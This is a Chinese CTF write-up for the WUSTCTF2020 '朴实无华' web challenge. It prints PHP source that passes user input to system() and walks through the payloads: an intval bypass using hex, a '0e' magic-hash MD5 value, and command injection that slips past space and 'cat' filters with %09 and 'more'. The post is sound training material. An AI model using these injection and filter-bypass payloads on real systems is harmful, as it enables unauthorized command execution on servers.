[WUSTCTF2020] 朴实无华

发布于 2021-08-06  66 次阅读


解题:

image-20201230183348102

打开题目,提示正在被攻击,存在一个警告,不能修改头部信息,已发送头部信息,这些信息没有什么思路

扫描一下目录,

image-20201230183534216

看一下,robots.txt文件

image-20201230183631403

访问一下这个目录

image-20201230183649707

我中计了,接着看fl4g.php

image-20201230184126037

分析一下给出的源代码

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

接下来思路就很清晰,绕过三个if得到flag.

一起来看level 1:intval($num) < 2020 && intval($num + 1) > 2021

这里intval()第二个参数没有加,默认解析十进制,所以输入其他进制就会返回0,当后面进行 +1操作的时候,会 转化为十进制在加一

因此,绕过level 1,只需要找一个十进制比2021 大的非十进制数即可

构造payload

?num=0x7e6

一起再看level 2: $md5==md5($md5)

mad5的弱类型比较,这里是让一个值本身等于他的MD5加密的值,弱类型比较了就想到科学计数法,这里找一个本身就是0e开头的就好了

构造

?num=0x7e6&md5=0e215962017

一起还看level 3:

  1. 不能存在空格
  2. cat 会被替换成wctf2020
  3. 命令执行得到flag
综上所述,我们需要绕过空格绕过cat读取flag

首先是绕过空格

![image-20201230195901478](https://husins.oss-cn-beijing.aliyuncs.com/20210127114455.png)

使用%09或者$IFS$9代替空格

其次是代替cat
image-20201230200050829

这里选用bat

构造payload

?num=0x7e6&md5=0e215962017&get_flag=ls读取当前目录文件

image-20201230200239761

?num=0x7e6&md5=0e215962017&get_flag=bat%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

image-20201230200334499

估计是bat命令没有安装,换个命令

选择more

image-20201230200500177

得到flag,真的是朴实无华呀!